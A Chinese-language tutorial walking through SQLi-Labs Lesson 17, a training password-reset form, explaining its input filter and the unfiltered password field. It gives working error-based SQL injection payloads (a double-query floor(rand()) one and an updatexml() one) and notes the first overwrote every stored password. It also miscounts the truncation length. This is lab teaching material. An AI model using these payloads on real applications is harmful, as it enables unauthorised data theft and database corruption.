SQLi Labs Lesson17

Lesson - 17

Update Query - Error Based - String


首先进入欢迎界面:


本页面的作用是重置用户的密码。

本节对注入有过滤。

function check_input($value)
{
	if(!empty($value))
	{
		// truncation (see comments)
		$value = substr($value,0,15);
	}

	// Stripslashes if magic quotes enabled
	if (get_magic_quotes_gpc())
	{
		$value = stripslashes($value);
	}

	// Quote if not a number
	if (!ctype_digit($value))
	{
		$value = "'" . mysql_real_escape_string($value) . "'";
	}
	else
	{
		$value = intval($value);
	}
return $value;
}
该函数的作用:

1.首先对参数$value只取前16个字符。

2.magic_quotes_gpc()函数在php中的作用是判断解析用户提示的数据,如包括有:post、get、cookie过来的数据增加转义字符“\”,以确保这些数据不会引起程序,特别是数据库语句因为特殊字符引起的污染而出现致命的错误 。

在magic_quotes_gpc=On的情况下,如果输入的数据有单引号(’)、双引号(”)、反斜线()与 NUL(NULL 字符)等字符都会被加上反斜线。这些转义是必须的,如果这个选项为off,那么我们就必须调用addslashes这个函数来为字符串增加转义。

3.ctype_digit函数做纯数字检测。

具体见 http://php.net/manual/zh/ref.ctype.php

mysql_real_escape_string 转义 SQL 语句中使用的字符串中的特殊字符,并考虑到连接的当前字符集 。

具体见 http://php.net/manual/zh/function.mysql-real-escape-string.php

intval 获取变量的整数值

具体见 http://php.net/manual/zh/function.intval.php


后台php只对username进行了过滤,没有对password进行过滤。

$uname=check_input($_POST['uname']);  

$passwd=$_POST['passwd'];

所以可以利用password进行注入:

利用Lesson-5中的Double Injection:

(查看后台php源代码,可以看到,只有当用户名存在时才进行密码重置,所以利用password注入时,必须事先知道一个存在的用户名,这里用admin)


构造表单:

username为:admin

password为:foo' and (select 1 from (select count(*),concat(database(), '~' , floor (rand()*2))as a from information_schema.tables group by a) as b limit 0,1) #

点击submit后,不管刷新多少次,发现均没有报错,更别说报出数据库名。

通过phpmyadmiin查看发现,users表中的所有user的password均变为0。



重新构造表单:

username为:admin

password为:1' and (select 1 from (select count(*),concat(database(), '~' , floor (rand()*2))as a from information_schema.tables group by a) as b limit 0,1) #

点击Submit,刷新几次后得到:


还有一种注入的方法,利用updatexml()函数。

重新构造表单:

username为:admin

password为:1' and updatexml(1,concat(0x7e,(SELECT @@version),0x7e),1)#

(0x7e为‘~’)

结果如图所示:


关于UpdateXML(xml_target, xpath_expr, new_xml)函数:

Description:
Syntax:
UpdateXML(xml_target, xpath_expr, new_xml)

This function replaces a single portion of a given fragment of XML
markup xml_target with a new XML fragment new_xml, and then returns the
changed XML. The portion of xml_target that is replaced matches an
XPath expression xpath_expr supplied by the user. In MySQL 5.6.6 and
earlier, the XPath expression could contain at most 127 characters.
This limitation is lifted in MySQL 5.6.7. (Bug #13007062, Bug #62429)

If no expression matching xpath_expr is found, or if multiple matches
are found, the function returns the original xml_target XML fragment.
All three arguments should be strings.

URL: http://dev.mysql.com/doc/refman/5.6/en/xml-functions.html

Examples:
mysql> SELECT
    ->   UpdateXML('<a><b>ccc</b><d></d></a>', '/a', '<e>fff</e>') AS val1,
    ->   UpdateXML('<a><b>ccc</b><d></d></a>', '/b', '<e>fff</e>') AS val2,
    ->   UpdateXML('<a><b>ccc</b><d></d></a>', '//b', '<e>fff</e>') AS val3,
    ->   UpdateXML('<a><b>ccc</b><d></d></a>', '/a/d', '<e>fff</e>') AS val4,
    ->   UpdateXML('<a><d></d><b>ccc</b><d></d></a>', '/a/d', '<e>fff</e>') AS val5
    -> \G

*************************** 1. row ***************************
val1: <e>fff</e>
val2: <a><b>ccc</b><d></d></a>
val3: <a><e>fff</e><d></d></a>
val4: <a><b>ccc</b><e>fff</e></a>
val5: <a><d></d><b>ccc</b><d></d></a>



  • 0
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值